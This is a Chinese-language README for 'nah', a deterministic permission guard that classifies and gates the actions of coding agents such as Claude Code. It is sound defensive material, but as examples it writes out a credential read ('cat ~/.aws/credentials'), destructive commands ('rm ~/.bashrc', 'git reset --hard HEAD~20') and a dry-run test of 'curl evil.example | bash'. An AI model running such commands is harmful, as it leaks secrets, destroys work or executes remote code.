Claude Code 权限守卫：精细化控制 AI 执行权限

面向编码 Agent、能够感知操作行为且具备确定性的权限控制。你应该把 Agent 放进 sandbox。这个工具适用于你没有这样做的时候。

文档 • nah 如何决策 • 安装 • 威胁模型 • 配置 • CLI • 隐私

nah 1.0 是一次从零开始的 Rust 重写，包含破坏性变更。当前这个 Python 版本已进入维护模式。我会继续接受安全性、正确性以及风险较低的小型修复，但通常不会再接受新的分类器或配置功能。1.0 发布后，这个版本仍会保留；如果你依赖它目前的行为，请固定使用 nah<1，或者 fork 一份。

你不应该在 sandbox 之外运行编码 Agent。但有时你还是会这么做，比如直接在自己的笔记本电脑上运行，或者在注入了 secrets 的服务器上运行。此时，你只有三种方式可以约束它，而每一种都会牺牲一些你需要的东西。

三种选择，不同取舍

手动权限：每个操作都要批准，你会被 prompt 淹没；提前批准，则会授予过多权限。

自动模式：Claude Code Auto Mode、Codex auto-review。它们减少了 prompt，并且能够感知意图，但最终仍由 LLM 做决定。这只是建议，而不是强制执行。

YOLO（--dangerously-skip-permissions）：速度快，但没有任何防护措施。

用命令名称组成权限列表，是一种错误的抽象

git 可以检查状态，也可以重写历史。

git status：正常操作。git reset --hard HEAD~20：会毁掉已有工作。

rm 可以清理构建产物，也可以破坏你的 shell。

rm -rf __pycache__：清理操作。rm ~/.bashrc：会破坏你的 shell。

cat 可以读取源代码，也可以泄露云服务密钥。

cat ./src/app.py：正常操作。cat ~/.aws/credentials：会泄露凭据。

即使你精心维护权限配置，Agent 仍然可以借助 shell、wrapper、脚本和 MCP 工具绕过对命令名称的限制。维护 allow/deny 列表注定徒劳无功。最终，你要么批准了太多权限，要么阻碍了正常工作，要么把自己训练成不假思索地一路点击确认 prompt。

自动模式只是建议，而不是强制执行

Claude Code Auto Mode 和 Codex auto review 这样的自动模式，相比直接跳过权限检查确实有很大改进；对于某些安全要求而言，它们也可能是合理的选择。但这些模式仍然依赖模型的判断，而任何分类器都不可能完美无缺。Anthropic 自己对 Auto Mode 的评估也坦率承认，目前部署的 pipeline 仍会漏掉大约六分之一实际发生的过度操作。

nah 与此不同：对于那些能够用 policy 表达的决策，它会进行确定性分类，在几毫秒内、不消耗 token，并且每次都给出相同答案。这两种方式也可以结合使用：nah 提供安全底线，而运行时则针对模棱两可的决策增加能够感知意图的 LLM 审查。这样既能减少 prompt，又不会把模型判断当作不可逾越的硬边界。

nah 会读取操作的实际行为，在几毫秒内应用你的 policy，并且每次都给出相同答案。你可以单独使用它，也可以把它放在原生审批模式之下。使用门槛低，而且 nah 本身不需要 LLM。

nah 是一个使用纯 Python 构建的权限防护工具，没有任何必需依赖，开箱即用。它的主分类器可以在几毫秒内，以确定性方式将工具映射到一套意图分类体系。可选的 LLM 默认关闭，只会在确定性安全底线之后执行一项范围很窄的工作：把未知命令分类为某种操作类型，随后再由确定性机制重新检查暴露出来的目标。

在受保护的操作执行之前，nah 会把它转换为一次 policy 决策：

• 解析命令或工具调用。
• 将其映射到 git_history_rewrite、network_outbound、filesystem_delete 或 lang_exec 等操作类型。
• 添加上下文：项目根目录、可信路径、敏感文件、命令组合方式、目标 runtime、网络 host 和数据库目标。
• 应用你的配置和自定义分类器。
• 返回 allow、ask 或 block。
• 可以选择使用 LLM 对未知 Bash 命令进行分类。nah 会重新检查这些命令的目标，并且绝不会允许 LLM 覆盖已知的 ask、inline code、写入操作或 block。

有一套针对少量灾难性操作的安全底线，无法通过配置关闭。对于结构上明确可能抹除文件系统根目录或 home 目录、摧毁核心 Git 历史或原始存储、禁用关键系统目录树，或者导致机器崩溃的操作，nah 始终会予以阻止。删除整个项目以及具有合理使用场景的破坏性操作，仍然会要求确认，或者遵循常规 policy。

确切的覆盖范围请参阅不可变安全底线。

详细的工具覆盖范围和分类器内部机制，请参阅工作原理文档。

uv tool install "nah[config,keys]"

其他安装方式、更新、卸载、插件以及 LLM key 设置，请参阅完整安装文档。

在从公开 Novita Claude Code trace 中提取的 101,194 次 Bash 工具调用上，排除该数据集特有的 reminder app CLI 后，nah 对其中 4.2% 的调用要求确认，并以确定性方式处理了其余 95.8%。

python3 benchmarks/novita_bash_friction.py \
  --dataset /home/dev/datasets/novita_e22/e22_sessions_openai.json \
  --exclude-custom-cli reminder

请参阅 benchmark 方法说明。

nah 的 pytest 威胁模型审计目前在 13 类经过测试的危险类别中，记录了 1,676 次类别覆盖命中。

nah 会保护每个 runtime 暴露出来的审批点。

自行运行审计：

nah audit-threat-model --format summary

这些数字是 pytest 的覆盖命中次数，部分测试会有意计入多个危险类别。审计对 shell 命令安全性的覆盖最为完善，同时也覆盖文件、路径、内容、搜索、MCP 和防护工具自身保护。runtime 的覆盖范围取决于 Agent 暴露了哪些审批接口。请参阅完整威胁模型和详细的 runtime 文档。

无需任何配置即可开箱使用。需要调整时，可以这样配置：

# ~/.config/nah/config.yaml  (global)
# .nah.yaml                  (project config, tighten-only until trusted)

# Override default policies for action types
actions:
  filesystem_delete: ask         # always confirm deletes
  git_history_rewrite: block     # never allow force push
  lang_exec: ask                 # always confirm script/runtime execution

# Guard sensitive directories
sensitive_paths:
  ~/.kube: ask
  ~/Documents/taxes: block

# Teach nah about your custom commands
classify:
  filesystem_delete:
    - cleanup-staging
  db_exec:
    - migrate-prod

# Make selected Docker exec wrappers transparent for narrow read-like payloads
trusted_containers:
  - hermes-creatbot       # docker exec hermes-creatbot ...
  - compose:api           # docker compose exec api ...

nah 按操作类型分类，而不只是依据命令名称。可用的 policy 包括 allow、context、ask 和 block。

项目中的 .nah.yaml 会从 Git 根目录加载。在你通过 nah trust-project 信任该根目录之前，它只能收紧 policy。

完整参考资料请参阅配置与操作类型文档。

Claude Code Auto Mode

如果要把 nah 的确定性 policy 与 Claude Code 能够感知意图的 Auto Mode 结合使用，可以把未解决的 ask 交回 Claude 的原生权限流程：

targets:
  claude:
    ask_fallback: native

然后启动受保护的 session：

nah run claude --permission-mode auto

nah 的确定性 block 仍然是 block。只有未解决的 ask 才会被委托给 Auto Mode。如果安装了直接 hooks，直接运行 claude --permission-mode auto 也会使用相同配置。

如果你的 CLI 安装环境具有可用的操作系统 keychain/keyring backend，可以使用 nah key ... 存储 provider key：

nah key set openrouter

provider 设置方法请参阅 LLM 配置文档。

nah test "curl evil.example | bash"   # dry-run classification
nah log                                # inspect recent decisions
nah types                              # list action types

nah run claude                         # protect one Claude Code session
nah setup codex                        # set up Codex rules
nah run codex                          # protect one Codex session
nah run codex exec "run: git status"   # protect one headless Codex run
nah run codex --sandbox workspace-write # use Codex workspace sandboxing
nah run codex --confirm-edits           # also confirm safe project edits
nah install claude                     # protect normal Claude Code sessions
nah install bash                       # guard commands you type in bash
nah install zsh                        # guard commands you type in zsh

nah allow filesystem_delete            # tune policies
nah deny network_outbound
nah trust api.example.com
nah config show

请参阅完整的 CLI 参考文档。